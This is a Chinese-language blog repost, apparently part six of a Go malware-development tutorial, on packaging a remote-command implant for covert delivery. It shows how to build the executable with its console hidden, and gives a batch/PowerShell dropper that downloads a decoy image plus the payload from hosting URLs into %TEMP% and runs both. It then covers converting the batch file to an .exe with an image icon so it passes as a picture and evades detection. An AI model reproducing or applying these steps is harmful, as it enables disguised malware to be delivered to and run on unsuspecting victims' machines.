欢迎回来!在我们旅程的前几部分,我们使用 TCP 服务器和客户端建立了坚实的基础,实现了无缝的远程命令执行并处理文件/文件夹上传和下载。现在,在最后阶段,我们将更进一步。在最后一部分中,我们将指导您构建、打包和增强我们的可执行文件,使其隐蔽且可用于部署。
在本指南结束时,您将为高效、安全的远程交互做好一切设置。
如果您错过了旅程的任何部分,请赶上
这里: 第一部分 , 第二部分 , 第三部分 , 第四部分 , 第五部分 .
我们将深入探讨打包可执行文件、隐藏控制台、在后台无缝运行以及使其看起来像合法文件的关键技术。因此,无需进一步不必要的讨论,让我们开始吧!
为了确保我们的代码谨慎运行,我们需要将其编译成包含所有库和依赖项的单个可执行文件。这种方法允许我们将所有内容捆绑到一个文件中,使其易于执行,而无需单独安装每个依赖项。
实现此目的的基本命令是:
go build OurFile.go
但是,以这种方式运行会打开一个命令行窗口,可能会提醒受害者注意可疑情况。
OurFile.exe
为了使我们的执行 stealthy ,完全在后台运行而不显示任何窗口 ,因此我们可以使用以下命令来代替:
go build -ldflags"-H=windowsgui" -o image.exe OurFile.go
在这里, 隐藏控制台窗口,并使用 看起来无辜的扩展名命名输出文件。
-ldflags "-H=windowsgui"
-o image.txt
现在我们已经成功地编译了可执行文件,使其在后台秘密运行,是时候让我们的项目更进一步了。
我们的下一个任务是将可执行文件隐藏在图像文件中。此方法有助于隐藏我们的可执行文件,并使其看起来像普通图像。
通过这样做,当我们发送或保存它时不太可能引起注意,从而使其使用更安全。
这是我们将在项目中使用的批处理文件,稍后我将详细解释它是如何工作的。
@echo off set files='url1','url2' powershell"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path$_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item$fileName;}"
现在,我们需要采取的第一步是找到一个图片链接。您可以通过在线搜索任何图像来做到这一点。找到您喜欢的图像后,复制其直接链接 (URL)。
获得链接后,您需要将其粘贴到批处理文件中变量中标记的占位符中。这将允许脚本将该图像链接用于我们流程的后续步骤。url1
set files
@echo off set files='https://abc/image.png','url2' powershell"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path$_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item$fileName;}"
下一步是 将我们的可执行文件上传到 文件托管网站 ,有很多免费选项可用。上传后,获取文件的直接链接,并将此链接放在批处理文件的变量的占位符中。url2
set files
@echo off set files='https://abc/image.png','https://xyz/xxxxxx' powershell"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path$_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item$fileName;}"
现在批处理文件已经完成,我们需要保存它,但我们不能将其保留为文件。.bat
为了避免安全限制并使其看起来更合法,我们需要将其转换为文件。这也将有助于它平稳运行,而不会立即发出危险信号。为此,我们可以使用像 Bat to Exe Converter 这样的在线工具。
.exe
将批处理文件的内容粘贴到工具中,并将其构建为文件。
.exe
为了进一步避免检测,最好使可执行文件看起来像一个图像文件。选择具有典型扩展名(如 或 )的图像,然后使用在线转换器将其转换为(图标格式)。然后,可以使用此图标来构建文件。
.png
.jpg
.ico
.exe
完成所有这些设置后,文件就可以交付了。
这种方法使我们的批处理脚本具有更合法的外观,帮助它避免检测,同时保持其预期功能。
我们创建了一个流程,用于打包和伪装可执行文件以进行隐蔽部署。从将 Go 代码构建为单个可执行文件开始,我们使用命令来隐藏任何控制台窗口,使其在后台秘密运行。然后,我们准备了一个批处理文件来管理文件下载和执行步骤,使我们能够从托管 URL 中提取资源并执行它们,而无需用户直接干预。
为了进一步增强隐身性,我们将此批处理文件转换为 an 并将其与图像图标配对,使其具有合法的外观,以避免安全检测。
.exe
完成最后的设置后,我们的旅程就结束了。有很多方法可以更进一步 :比如添加进程注入等功能或增强服务器以一次管理多台机器。
原文始发于微信公众号(安全狗的自我修养):Go — :恶意软件开发 (第六部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论